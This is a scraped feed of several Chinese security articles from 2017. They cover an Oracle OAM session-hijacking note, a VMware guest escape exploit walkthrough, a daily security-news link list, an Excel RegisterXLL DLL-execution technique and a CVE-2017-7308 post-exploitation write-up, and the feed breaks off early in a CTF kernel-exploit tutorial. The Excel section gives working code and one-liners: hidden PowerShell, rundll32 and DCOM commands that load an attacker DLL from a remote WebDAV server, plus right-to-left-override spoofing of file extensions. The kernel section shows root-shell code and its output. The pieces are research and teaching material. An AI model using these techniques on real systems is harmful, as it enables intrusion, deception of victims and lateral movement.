如果没有为OAM配置SSODomains,那么所有的域名都可以使用认证之后的获取的cookie,所以为OAM 配置合法的域名范围,可以大大缓解此漏洞的危害。


0x05. CVSS 评分

根据评分依据,这个漏洞的得分是:9.3


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析


【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
【漏洞分析】针对Oracle OAM 10g 会话劫持漏洞分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://krbtgt.pw/oracle-oam-10g-session-hijacking/

【技术分享】实战VMware虚拟机逃逸漏洞

$
0
0
【技术分享】实战VMware虚拟机逃逸漏洞

2017-07-25 11:19:08
阅读:1189次
点赞(0)
收藏
来源: 安全客







【技术分享】实战VMware虚拟机逃逸漏洞

作者:skyer

预估稿费:500 RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

最近长亭把Pwn2Own中遗憾的在比赛前一天被补上的漏洞利用发了出来,Amat大佬的博客有这篇文章,同时在长亭知乎专栏有杨博士发的中文版。 但是并没有公开的exp,如何真正实现呢?自己花了十几天才写出exp,其中踩坑无数,本着分享精神,于是就有了本文。

0x01 Backdoor

backdoor是vmware实现的一套Guest和Host通信的机制,我们不需要去深入研究这种机制如何实现的,只需要大概了解一下这个机制的实现。 先看通信的代码,这部分代码在open-vm-tools的github上也有,链接在此。由于需要在VS中编译,所以需要先转换成为intel的asm格式。

【技术分享】实战VMware虚拟机逃逸漏洞

在正常操作系统中直接执行in指令会导致出错,因为这是特权指令。但是在Guest中这个错误会被vmware捕获,然后传给vmware-vmx.exe进程内部进行通信。

而后面我们需要操作的message,全部通过backdoor通信方式来通信。 关于message的操作,open-vm-tools里面也有相关实现,链接在此。直接拿过来用就行了。 有了Message_Send和Message_Recv这些函数,我们就可以直接在Guest里面与Host进程进行通信。 需要注意的是Backdoor通信在Guest内部不需要管理员权限,所以此bug可在普通用户触发。


0x02 Drag and Drop RPCI

RPCI是基于backdoor实现的通信方式。open-vm-tools相关实现在此。可以直接使用这个发送RPC的函数。 这个漏洞存在在DnD操作的v3版本代码中,对应bug代码在此。

ida中更加明显:


【技术分享】实战VMware虚拟机逃逸漏洞

由于没有realloc或者totalsize的判断,导致第二个包的totalsize可以改成一个大值,payloadsize因此也可以变大导致一个堆溢出。

顺带一提,发送DnD操作的命令在dndCPTransportGuestRpc.hpp中。 通过阅读open-vm-tools的代码,可以得出RPC的发送对应路径:

rpcv3util::SendMsg->DnDCPTransportGuestRpc::SendPacket->RpcChannel_Send->Message_Send->backdoor


0x03逆向分析

看完相关的open-vm-tools的代码之后,开始逆向vmware-vmx.exe,我的版本是12.5.2.13578,workstation是12.5.2-build4638234版本。
首先很容易通过字符串“tools.capability.dnd_version”的xref找到对应的处理函数。
【技术分享】实战VMware虚拟机逃逸漏洞

bindfun只是把对应的参数值写入了全局变量,其实是一个表。bindfun参数4就是对应rpc命令的处理函数,而rpc命令函数的参数3和参数4分别是我们发送的RPC原始request和RPCrequest的长度。参数5和参数6是我们得到的 reply的地址和reply的长度。


【技术分享】实战VMware虚拟机逃逸漏洞

可以看出这个命令有一个参数,也就是版本号。

其他的RPC命令类似,在发送“vmx.capability.dnd_version”命令的时候,对应的处理函数中如果发现当前版本和设置的版本不一致,就会调用函数创建新的 object,把原来的版本的object销毁。


【技术分享】实战VMware虚拟机逃逸漏洞

【技术分享】实战VMware虚拟机逃逸漏洞

DnD和CP的Object的size都是一样的,都是0xa8大小。


【技术分享】实战VMware虚拟机逃逸漏洞

0x04 漏洞利用

Amat大佬的文章中推荐用info-set和info-get来操作堆,其中info-set对应的handle函数内部很复杂,通过windbg动态调试,可以发现我们发送“info-set guestinfo.test1 “+’a'*0xa7可以创建一个0xa8大小的buffer。实际测试我在malloc和free下断点,整个info-set过程大概有10-13次malloc(size=0xa8),也有 接近10次的free操作,最终剩下一个buffer。也就是说整个info-set过程干扰很大。

info-get可以读取刚刚set的值,这就没什么好说。 关于windows的LFH的风水,由于info-set中有多次malloc 0xa8操作,所以比较困难。我没有什么好的办法,目前我exp成功率还是比较低。

思路大概就是把内存变成这个样子:


【技术分享】实战VMware虚拟机逃逸漏洞

如果一旦没有布局成功。。vmware-vmx就会崩溃。。。

如果你正好挂了windbg调试器。。那么整个host就会其卡无比。。未知bug。只能缓慢的对windbg调试器按q退出调试。

推荐安装windbg的pykd插件,大爱python。 我写了个小脚本用来辅助调试:(其实就是打印rax)

frompykdimport* importsys s='' iflen(sys.argv)>1: s=sys.argv[1]+'' prints+'Objectat'+hex(reg('rax')) 所以就可以在attach上vmx进程的时候这么输入:
bp7FF7E394C4D8"!pydumpraxDnD;gc;";bp7FF7E394BF68"!pydumprax CP;gc;";bp7FF7E3DA05AB"!pydumpraxvuln;gc;";bp7FF7E3DA05DB;bp 7ff7e38c1b2d;bp7ff7`e38f1dc2;g 第一个地址是DnD Object malloc完毕后的下一条指令,第二个地址是CP Object的,第三个是vuln的,第四个地址是memcpy触发的地方,后面两个是gadget地址。

因为windows中进程重启后基地址还是不会变,所以只要你不重启电脑,可以一直用。

通过一些布局(运气)变成了如上的内存之后,就可以开始leak了。

主要是通过覆盖info-set的value buffer,修改value buffer内部的值,如果此时info-get读取的valuebuffer值不同,那就说明被覆盖了。

而如果溢出到了Object头部,从info-get读取的信息就会包含vtable的地址,从而泄露出程序基地址。

当然这个过程中有可能触发RtlHeapFree等堆函数然。。因为堆chunk头被覆盖,理所当然崩溃。。。


0x05 DnD Object 覆盖

如果覆盖的是DnD Object,那么在DnD_TransportBufAppendPacket函数结束之后的上层函数会立刻发生调用。

【技术分享】实战VMware虚拟机逃逸漏洞

所以在这之前,需要先在一块内存布局好vtable,原文推荐使用“unity.window.contents.chunk” 命令,这个RPC命令会把我们的参数复制进去data段上一个堆指针内部。

这个全局变量指针由命令“unity.window.contents.start” 创建。

这两个unity的命令。。有反序列化操作而且没有官方文档可以看,只能自己慢慢debug,摸索出对应的结构。。具体的结构请看文章末尾的Github代码。

call之后,首先需要一个stack pivot到堆上,然后就是愉快的ROP。

需要说明的是,vmware中的data段居然是rwx的。。直接复制shellcode上去就能执行了。


【技术分享】实战VMware虚拟机逃逸漏洞

具体的ROP见文章末尾的Github代码。


0x06 CopyPaste Object 覆盖

如果覆盖的是CP Object,那么覆盖掉vtable之后,vmx进程不会崩溃,原文推荐使用cp命令触发vtable调用,而我用了这个Object的destructor。也就是再把版本设 置回4的话,程序会调用vtable中对应的destructor.

通过上面提到的”unity.window.contents.start“命令可以设置一个qword大小的gadget在程序的数据段上,而之前已经通过leak得到了程序的基地址,所 以可以得到这个gadget的指针的地址。

这个点不是特别好用,寄存器的值不是很方便,但最终依然找到了合适的gadget来利用。详细ROP见文章末尾Github 代码。


0x07 最后说两句

这个漏洞能不能稳定利用,关键在于堆布局做的怎么样,这个方面我研究不多。。以后还得继续看。长亭在这种情况能达到60-80%的成功率,太厉害了。

该漏洞在VMware Workstation 12.5.5之后被修补。

如果文章中有任何错误请在评论指出,谢谢各位表哥。

完整EXP:点我。



【技术分享】实战VMware虚拟机逃逸漏洞
【技术分享】实战VMware虚拟机逃逸漏洞
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4143.html

【知识】7月25日 - 每日安全知识热点

$
0
0
【知识】7月25日 - 每日安全知识热点

2017-07-25 10:44:44

阅读:1030次
点赞(0)
收藏
来源: 安全客





【知识】7月25日 - 每日安全知识热点

作者:童话





【知识】7月25日 - 每日安全知识热点

热点概要:【国际资讯】瑞典海量公民信息泄露,隐私安全谁来保护?、补天沙龙南京站—Java代码审计PPT、Zigfrid:被动RFID模糊测试工具、一款基于php的漏洞扫描器、针对Juniper Dual EC事件系统的系统性分析、利用软件无线电构建5G无线通信平台、如何通过画图工具访问命令提示符


资讯类:

【国际资讯】瑞典海量公民信息泄露,隐私安全谁来保护?

http://bobao.360.cn/news/detail/4236.html


SLocker Android勒索软件(一款迷你的WannaCry)源码公开在Github上

http://thehackernews.com/2017/07/android-ransomware-source-code.html

https://github.com/fs0c1ety/SLocker


神秘的Mac恶意软件已感染受害者多年

https://motherboard.vice.com/en_us/article/zmv79w/mysterious-mac-malware-has-infected-hundreds-of-victims-for-years


技术类:

Web Sight社区版 – 企业攻击面枚举工具

https://l.avala.mp/?p=209


补天沙龙南京站—Java代码审计PPT

https://xianzhi.aliyun.com/forum/read/1904.html


软件版双因子认证安全性分析

https://githubengineering.com/soft-u2f/


Zigfrid:被动RFID模糊测试工具

https://z4ziggy.wordpress.com/2017/07/21/zigfrid-a-passive-rfid-fuzzer/


Bright City: 针对国外一款市政相关APP的安全性分析

https://randywestergren.com/bright-city-highly-insecure-police-municipal-government-app/


Zydis v2.0 alpha发布!(Zydis是一款x86反汇编工具)

https://zyantific.com/blog/zydis-v2-0-alpha-out-now/


Flow Ambiguity: A Path Towards Classically Driven Blind Quantum Computation

https://journals.aps.org/prx/abstract/10.1103/PhysRevX.7.031004


Wi-Fi Cracking:通过Airodump-ng、Aircrack-ng和Hashcat破解 WPA/WPA2 Wi-Fi路由器

https://github.com/brannondorsey/wifi-cracking


一款基于PHP的漏洞扫描器

https://github.com/dermotblair/webvulscan


Nitro PDF Pro <= 11.0.3.173 javascript API远程代码执行漏洞

https://gist.github.com/stevenseeley/725c6c0be2ff76494c23db730fd30b6d


信任问题:利用TrustZone TEE

https://googleprojectzero.blogspot.com/2017/07/trust-issues-exploiting-trustzone-tees.html


针对Juniper Dual EC事件系统的系统性分析

https://www.ietf.org/proceedings/99/slides/slides-99-irtfopen-anrp-stephen-checkoway-a-systematic-analysis-of-the-juniper-dual-ec-incident-00.pdf


Finding Domain frontable Azure domains

https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html


利用软件无线电构建5G无线通信平台

http://download.ni.com/pub/branches/china/Wireless_Research_Handbook_zhs.pdf


WebKit: use-after-free in WebCore::AccessibilityRenderObject::handleAriaExpandedChanged

https://bugs.chromium.org/p/project-zero/issues/detail?id=1245


如何通过画图工具访问命令提示符

https://infamoussyn.com/2013/03/19/gain-command-prompt-access-via-mspaint/


FreeRDP存在多个漏洞

http://blog.talosintelligence.com/2017/07/vulnerbility-spotlight-freerdp-multiple.html


如何在Mac OSX上安装和使用HDSDR

https://k1fm.us/2015/10/hdsdr-on-osx-the-easy-way-reloaded/




【知识】7月25日 - 每日安全知识热点
【知识】7月25日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4144.html

【技术分享】如何通过Excel.Application RegisterXLL()方法执行DLL

$
0
0
【技术分享】如何通过Excel.Application RegisterXLL()方法执行DLL

2017-07-25 14:11:43

阅读:371次
点赞(0)
收藏
来源: gist.github.com/ryhanson





【技术分享】如何通过Excel.Application RegisterXLL()方法执行DLL

作者:興趣使然的小胃





【技术分享】如何通过Excel.Application RegisterXLL()方法执行DLL

译者:興趣使然的小胃

预估稿费:70RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


在Excel中,我们可以通过初始化Excel.Application COM对象,将某个DLL传递给RegisterXLL方法,最终实现通过Excel加载并执行该DLL的目的。DLL所在的路径不一定是本地路径,也可以是指向远程WebDAV服务器的UNC路径。

我们通过WebDAV渠道下载DLL文件时,需要注意的是,DLL仍会被写到本地磁盘中,但所下载的文件与载入到进程中的文件并不一致。这种情况适用于所有通过WebDAV下载的文件,下载的文件在本地磁盘中的具体路径为:

C:\windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\

在使用RegisterXLL函数时,我们需要提供一个XLL加载项,XLL加载项实际上就是一个带有特定导出函数的特定DLL。关于XLL的更多信息可以参考MSDN上的相关资料。

我们也可以双击.xll文件来执行XLL,但此时会出现一个安全警告。@rxwx详细描述了这种使用场景,同时给出了一个简单的XLL样例。

对于Office而言,非常有趣的一点是它在处理某些文件扩展名时会进行文件格式嗅探,这些文件包括.xls、.xlk以及.doc(可能还涉及其他扩展名)。这意味着我们可以将.xll修改为.xls或者.xlk,然后Office还是可以打开这种文件。然而,这种情况下,我们依然会触发前面提到过的加载项警告信息,同时还有另一个警告信息,提示文件格式与文件扩展名不匹配。

由于加载项警告信息中会显示文件名的完全路径,因此我们可以使某些unicode字符来掩盖.xll扩展名。我最喜欢使用的一种字符就是“从右向左覆盖字符(Right-to-Left Override Character)”。使用这种字符,我们就能任意伪造Excel文件的扩展名。比如,文件名“Footba\u202Eslx.xll”会显示为“Footballx.xls”,因为从该unicode字符之后的所有字符顺序都会左右颠倒。

如下代码为某个DLL的示例代码,该DLL有一个xlAutoOpen导出函数,函数内部有一条执行语句,这种写法就可以构造出一个XLL文件。与其他DLL文件类似,我们可以在DLL_PROCESS_ATTACH分支中触发DLL的执行。

//Compilewith:cl.exenotepadXLL.c/LD/onotepad.xll #include<Windows.h> __declspec(dllexport)void__cdeclxlAutoOpen(void); void__cdeclxlAutoOpen(){ //TriggerswhenExcelopens WinExec("cmd.exe/cnotepad.exe",1); } BOOLAPIENTRYDllMain(HMODULEhModule, DWORDul_reason_for_call, LPVOIDlpReserved ) { switch(ul_reason_for_call) { caseDLL_PROCESS_ATTACH: caseDLL_THREAD_ATTACH: caseDLL_THREAD_DETACH: caseDLL_PROCESS_DETACH: break; } returnTRUE; }

我们可以通过多种方法执行这个XLL文件。

使用javascript来执行:

//CreateInstaceofExcel.ApplicationCOMobject varexcel=newActiveXObject("Excel.Application"); //PassinpathtotheDLL(canuseanyextension) excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz"); //DeliveredviaWebDAV excel.RegisterXLL("\\\\webdavserver\\files\\evilDLL.jpg");

在一行代码中,使用Rundll32.exe以及mshtml.dll来执行:

rundll32.exejavascript:"\..\mshtml.dll,RunHTMLApplication";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('\\\\webdavserver\\files\\evilDLL.jpg');this.close();

使用Powershell来执行:

#CreateInstaceofExcel.ApplicationCOMobject $excel=[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) #PassinpathtotheDLL(canuseanyextension) $excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt") #DeliveredviaWebDAV $excel.RegisterXLL("\\webdavserver\files\evilDLL.jpg"); #OnelinerwithWebDAV: powershell-whidden-c"IEX((New-Object-ComObjectExcel.Application).RegisterXLL('\\webdavserver\files\evilDLL.jpg'))"

@rxwx发现,如果目标环境支持DCOM,那么我们也可以使用这种方法实现横向渗透,如下所示:

$Com=[Type]::GetTypeFromProgID("Excel.Application","192.168.1.111") $Obj=[System.Activator]::CreateInstance($Com) #DetectOfficebitnesssoproperDLLcanbeused $isx64=[boolean]$obj.Application.ProductCode[21] #LoadDLLfromWebDAV $obj.Application.RegisterXLL("\\webdavserver\addins\calcx64.dll")

@rvrsh3ll在Invoke-DCOM.ps1中引入了这种DCOM技术(感谢@rxwx的研究成果)。

此外,@MooKitty同样给出了XLL的PoC代码。



【技术分享】如何通过Excel.Application RegisterXLL()方法执行DLL
【技术分享】如何通过Excel.Application RegisterXLL()方法执行DLL
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52

【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

$
0
0
【技术分享】针对数据包套接字攻击linux内核的漏洞利用

2017-07-26 10:04:05

阅读:389次
点赞(0)
收藏
来源: coresecurity.com





【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

作者:eridanus96





【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

译者:eridanus96

预估稿费:130RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】如何通过数据包套接字攻击Linux内核


简介

CVE-2017-7308是一个与数据包套接字相关的Linux内核漏洞。关于该漏洞的利用已经在Andrey Konovalov的文章中进行了详细地说明,在此就不赘述。我们此次关注的重点放在获取shell之后进行的一些操作和利用。

该漏洞本身(CVE-2017-7308)是一个符号类型漏洞,会导致堆越界写入问题。在启用TPACKET_V3版本的环形缓冲区条件下,我们可以通过为AF_PACKET套接字的PACKET_RX_RING选项提供特定的参数来触发这个漏洞。漏洞触发成功后,在“net/packet/af_packet.c”源码中,“packet_set_ring()”函数中的完整性检查过程就会被绕过,最终导致越界访问。

该漏洞影响所有启用AF_PACKET套接字(CONFIG_PACKET = y)的内核。但具体的实现则需要CAP_NEW_RAW这一功能,从而创建出AF_PACKET套接字。通常来说,只有特权用户才具有上述权限。但是,如果启用了用户命名空间(User namespace, CONFIG_USER_NS = y),并且未授权用户拥有可访问权限,那么同样可以利用该漏洞。

Andrey提供了一个PoC以证明这一漏洞,运行后将得到下面的shell:


【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

到现在,我们已经成功得到了shell。但我们发现,目前仍然与真正的网络相隔开,因此我们想尝试进行一些网络相关的突破。


突破网络

从生成的shell中,我们首先列出网络接口:


【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

如图所示,我们目前只有环回接口(Loopback interface)可用,无法ping通Google。那么,为什么会发生这种情况,又如何解决呢?还是要从Andrey的代码和Linux数据包套接字的官方文档中寻找答案。

在他的代码中,他通过调用带有CLONE_NEWUSER标志的unshare函数来创建一个新的用户命名空间。这样,调用的进程就会被移动到一个新的用户命名空间中,而这个名称不与任何已经存在的进程共享。如前所述,这是漏洞利用的必要条件。只有特权用户才拥有CAP_NET_RAW功能的权限,但新用户命名空间中的未授权用户可以创建数据包套接字, 这也正是他使用unshare函数(CLONE_NEWUSER)的原因。

随后,会再一次调用unshare函数,但此时是调用带有CLONE_NEWNET标志的unshare函数。根据文档,这一标志的含义是:将调用进程移动到一个新的网络命名空间中,且该名称不与任何已经存在的进程共享。

现在状况开始明朗了。然而,尽管我们清楚了CLONE_NEWUSER的用途,但为什么要将网络隔离呢?原因在于,我们为了保证全部覆盖,通过环回接口发送的任意数据包都不能被干扰,所以才需要一个独立的网络环境。

但如果在一个有大量接口和大量数据包的环境中,这样做无疑会降低漏洞的利用程度。


后开发利用

意识到真正的问题所在,我们就必须找到一种方法来克服这种状况,一个较好的解决方案是setns。setns是命名空间API中的一个重要函数,setns系统调用允许调用进程加入已有的命名空间,具体的命名空间通过引用/proc/[pid]/ns files中的文件描述符来制定。但是,仅有有限的几个命名空间可以让我们加入。/proc/[pid]/ns/net文件是进程网络命名空间的句柄,我们需要对这一文件进行分析,从而知道哪一个网络命名空间是我们可以加入的。

我们决定尝试从PID 1加入网络命名空间,这是Linux中init进程的PID,也是内核启动的第一个进程,因此它拥有最大的特权,我们猜测这一进程可以访问系统中的任何网络接口。但是,我们必须先拥有一些权限后才能加入这个网络命名空间,这对我们来说并不是个大问题,因为我们已经利用漏洞可以轻松获取到root权限,之后再执行这一项操作。

首先,我们需要获得一个文件描述符,以加入PID 1的网络命名空间:

intfd; fd=open("/proc/1/ns/net",O_RDONLY)

一旦我们有了一个文件描述符,便可以在调用setns函数时使用, 而第二个参数是我们要加入的命名空间:

setns(fd,CLONE_NEWNET);

为测试是否有效,我们对PoC中的exec_shell进行了修改,修改后的exec_shell将用于在提权后被触发:

voidexec_shell(){ char*shell="/bin/bash"; char*args[]={shell,"-i",NULL}; intfd; fd=open("/proc/1/ns/net",O_RDONLY); if(fd==-1) { perror("erroropening/proc/1/ns/net"); exit(EXIT_FAILURE); } if(setns(fd,CLONE_NEWNET)==-1) { perror("errorcallingsetns"); exit(EXIT_FAILURE); } execve(shell,args,NULL); }

下面是执行后的结果:

fastix@fastix-virtual-machine:~$gcccve-2017-7308.c-oexploit fastix@fastix-virtual-machine:~$./exploit [.]starting [.]namespacesandboxsetup [.]KASLRbypassenabled,gettingkerneladdr [.]done,kerneltext:ffffffffb5800000 [.]commit_creds:ffffffffb58a5cf0 [.]prepare_kernel_cred:ffffffffb58a60e0 [.]native_write_cr4:ffffffffb5864210 [.]paddingheap [.]done,heapispadded [.]SMEP&SMAPbypassenabled,turningthemoff [.]done,SMEP&SMAPshouldbeoffnow [.]executinggetrootpayload0x55fa39fa7612 [.]done,shouldberootnow [.]checkingifwegotroot [+]gotr00t^_^ root@fastix-virtual-machine:/home/fastix#id uid=0(root)gid=0(root)groups=0(root) root@fastix-virtual-machine:/home/fastix#iplinklist 1:lo:mtu65536qdiscnoqueuestateUNKNOWNmodeDEFAULTgroupdefaultqlen1 link/loopback00:00:00:00:00:00brd00:00:00:00:00:00 2:ens33:mtu1500qdiscpfifo_faststateUPmodeDEFAULTgroupdefaultqlen1000 link/ether00:0c:29:98:3b:85brdff:ff:ff:ff:ff:ff,multicast,up,lower_up> root@fastix-virtual-machine:/home/fastix#ifconfig ens33:flags=4163mtu1500 inet192.168.1.112netmask255.255.255.0broadcast192.168.1.255 inet6fe80::5cd:ee6f:92b:ccc6prefixlen64scopeid0x20 ether00:0c:29:98:3b:85txqueuelen1000(Ethernet) RXpackets69bytes9044(9.0KB) RXerrors0dropped0overruns0frame0 TXpackets85bytes9782(9.7KB) TXerrors0dropped0overruns0carrier0collisions0,broadcast,running,multicast> lo:flags=73mtu65536 inet127.0.0.1netmask255.0.0.0 inet6::1prefixlen128scopeid0x10 looptxqueuelen1(LocalLoopback) RXpackets3329bytes206245(206.2KB) RXerrors0dropped0overruns0frame0 TXpackets3329bytes206245(206.2KB) TXerrors0dropped0overruns0carrier0collisions0 root@fastix-virtual-machine:/home/fastix#pingwww.google.com PINGwww.google.com(216.58.202.132)56(84)bytesofdata. 64bytesfromgru06s29-in-f4.1e100.net(216.58.202.132):icmp_seq=1ttl=50time=52.7ms 64bytesfromgru06s29-in-f4.1e100.net(216.58.202.132):icmp_seq=2ttl=50time=54.6ms 64bytesfromgru06s29-in-f4.1e100.net(216.58.202.132):icmp_seq=3ttl=50time=51.9ms 64bytesfromgru06s29-in-f4.1e100.net(216.58.202.132):icmp_seq=4ttl=50time=53.7ms ^C ---www.google.compingstatistics--- 5packetstransmitted,4received,20%packetloss,time4008ms rttmin/avg/max/mdev=51.987/53.268/54.686/1.045ms ,loopback,running>,up,lower_up> 如上所示,现在除了环回接口之外,我们还有了ens33接口,并成功地连接到外网。



【技术分享】针对数据包套接字攻击Linux内核的漏洞利用
【技术分享】针对数据包套接字攻击Linux内核的漏洞利用
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308

【技术分享】一道简单内核题入门内核利用

$
0
0
【技术分享】一道简单内核题入门内核利用

2017-07-26 11:13:49

阅读:1025次
点赞(0)
收藏
来源: 安全客





【技术分享】一道简单内核题入门内核利用

作者:anciety





【技术分享】一道简单内核题入门内核利用

作者:anciety

预估稿费:400 RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

对于学过用户空间pwn的同学来说,内核一直是向往但是却不知道如何下手的一个地方,最近的CISCN比赛中出现了一道内核的基础题目,我认为是一道非常适合内核入门的一道题目,所以我就这道题目,通过自己的分析,希望让大家学会如何去分析一道内核的题目,如何去完成内核的题目,如何通过阅读linux内核源码在内核漏洞利用中帮助自己理解细节,学会分析。


调试环境

内核的知识很多,我没有办法将所有知识都阐述详细,我在这里默认大家已经知道了以下内容的基本概念:

内核

特权等级

内核空间与用户空间

系统调用

slab/slub分配器

内核模块/驱动

这些都是内核的基础知识,我在这里不做详细的阐述,大家可以自己去找找资料,我在这里主要将这些基础概念给大家一个直观的印象。

1. 内核

内核是操作系统的核心,目的是为上层提供一个接口,和CPU进行交互,方式就是通过设置各种CPU所需要的结构,让CPU能够提供相应的功能,比如设置虚拟内存所需要的一些结构,使得CPU能够顺利识别,从而提供虚拟内存功能。和操作系统进行交互可以通过系统调用等方式实现。

2. 特权等级

CPU将指令分为各种特权等级,特权指令就是必须在特定特权下才能够执行的指令,否则会出现错误,intel将特权等级分为ring0到ring3,其中ring3特权最低,ring0最高,linux只使用了ring0和ring3,ring0为内核运行的等级,ring3为用户运行的等级。

3. 内核空间与用户空间

内核空间就是操作系统自己运行的空间,运行在ring0特权等级,拥有自己的空间,位于内存的高地址,而用户空间则是我们平时应用程序运行的空间,运行在ring3特权等级,使用较低地址。内核拥有自己的栈,和用户空间的栈并不共用。

4. 系统调用

系统调用是linux内核向用户空间提供功能的方式,通过调用特定的系统调用,用户空间可以获取内核提供的功能。比如read函数事实上就是一个系统调用,通过传入特定的参数,内核可以读取用户输入,并且输入到buf里。

通过使用系统调用,用户空间用户程序将会转入内核空间去执行,在执行完之后通过特殊方式回到用户空间,中间会涉及到用户空间与内核空间的切换。大致流程如下:

1) 进入

i. 通过swapgs切换GS段寄存器,是将GS寄存器值和一个特定位置的值进行交换,目的是保存GS值,同时将该位置的值作为内核执行时的GS值使用。

ii. 将当前栈顶(用户空间栈顶)记录在CPU独占变量区域里,将CPU独占区域里记录的内核栈顶放入rsp(esp)。

iii. 通过push保存各寄存器值,代码如下:

http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S

1.ENTRY(entry_SYSCALL_64) 2./*SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令*/ 3.SWAPGS_UNSAFE_STACK 4. 5./*保存栈值,并设置内核栈*/ 6.movq%rsp,PER_CPU_VAR(rsp_scratch) 7.movqPER_CPU_VAR(cpu_current_top_of_stack),%rsp 8. 9. 10./*通过push保存寄存器值,形成一个pt_regs结构*/ 11./*Constructstructpt_regsonstack*/ 12.pushq$__USER_DS/*pt_regs->ss*/ 13.pushqPER_CPU_VAR(rsp_scratch)/*pt_regs->sp*/ 14.pushq%r11/*pt_regs->flags*/ 15.pushq$__USER_CS/*pt_regs->cs*/ 16.pushq%rcx/*pt_regs->ip*/ 17.pushq%rax/*pt_regs->orig_ax*/ 18.pushq%rdi/*pt_regs->di*/ 19.pushq%rsi/*pt_regs->si*/ 20.pushq%rdx/*pt_regs->dx*/ 21.pushq%rcxtuichu/*pt_regs->cx*/ 22.pushq$-ENOSYS/*pt_regs->ax*/ 23.pushq%r8/*pt_regs->r8*/ 24.pushq%r9/*pt_regs->r9*/ 25.pushq%r10/*pt_regs->r10*/ 26.pushq%r11/*pt_regs->r11*/ 27.sub$(6*8),%rsp/*pt_regs->bp,bx,r12-15notsaved*/

iv. 通过汇编指令判断是否是x32_abi(暂时可以忽略这个内容)。

v. 通过系统调用号,跳到全局变量sys_call_table相应位置继续执行相应系统调用。

2) 退出

i. 通过swapgs恢复GS值。

ii. 通过sysretq或者iretq恢复到用户空间进行执行,如果使用Iretq还需要给出用户空间的一些信息,比如CS值,eflags标志寄存器值,用户栈顶位置等等信息。

5. slab/slub分配器

这是一个比较大的内容,内核中也需要使用到内存的分配,类似于用户空间malloc的功能。在内核中没有libc,所以没有malloc,但是需要这样的功能,所以有kmalloc,其实现是使用的slab/slub分配器,现在多见的是slub分配器。这个分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,里边通过保存空对象,部分使用的对象和完全使用了对象来管理,对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,一个cache对应一个2的幂大小的一组内存对象。

slab分配器严格按照cache去区分,不同cache的无法分配在一页内,slub分配器则较为宽松,不同cache如果分配相同大小,可能会在一页内,这个点很重要,之后的exp会用到。

6. 内核模块/驱动

这是linux拓展内核功能的一个功能,通过向内核插入内核模块可以动态的加载一些驱动代码,用来负责和硬件进行交互,或者在内核层提供一些软件功能。内核模块运行在内核空间,可以通过设备文件来进行交互,比如/dev/目录下的文件很多就是设备文件,打开设备文件,关闭设备文件等等就是使用open、close函数,这些函数在内核模块里进行定义,然后在加载的时候按照一定的规则进行设置,所以通过这些函数可以调用到内核里的模块的相应设置好的函数,最后在内核完成一系列操作,为用户空间提供功能。

SMEP是我需要稍微提一下的,这是一个内核的保护机制,目的是避免ret2usr利用方式,ret2usr即从内核空间劫持控制流,使得控制流回到用户空间,以ring 0执行用户空间代码来进行提权。开启了SMEP的时候,CPU将会阻止在ring 0执行用户空间代码。这是一个CPU功能,由CPU的CR4寄存器管理,用一个位来标志是否开启SMEP保护。不过,SMEP保护并没有阻止直接从用户空间获取数据,只是阻止执行用户空间代码。


题目

好了基础基本就提到这里,让我们来看一道题,这道题是ciscn-2017的babydriver,题目难度不大,很适合入门,让我们可以很直观的感受到完成一次内核pwn的整个过程。

1. 题目分析

题目给出了3个文件,一个rootfs.cpio一个bzImage和一个boot.sh,boot.sh内容如下:

1.#!/bin/bash 2. 3.qemu-system-x86_64-initrdrootfs.cpio-kernelbzImage-append'console=ttyS0root=/dev/ramoops=panicpanic=1'-enable-kvm-monitor/dev/null-m64M--nographic-smpcores=1,threads=1-cpukvm64,+smep

很显然我们需要安装qemu,这个就自己去安装啦。

然后就是一个对qemu的调用,kernel使用了bzImage,然后用rootfs.cpio作为initrd,其实就是bzImage是内核的映像,然后rootfs.cpio是根文件的映像。在远程,也就是使用这个boot.sh打开的qemu环境,我们能接触到的就是在这个qemu环境里。

qemu环境里有flag,可是我们没有权限读取,必须是root才有权限读取,显然我们需要进行提权。

通过查看/lib/modules/目录,我们发现有一个babydriver.ko,通过查看/proc/modules我们可以看到babydriver.ko作为内核模块已经加载进了内核里,我们还可以看到其加载的地址,很好!

接下来的任务就很显然了,我们需要看懂babydriver.ko干了什么。

init和exit函数没有什么太大的意思,基本上就是设置参数,初始化设备等等工作,我们的重点是几个函数。不过需要注意,init中设置了/dev/babydev作为设备文件。

open函数:

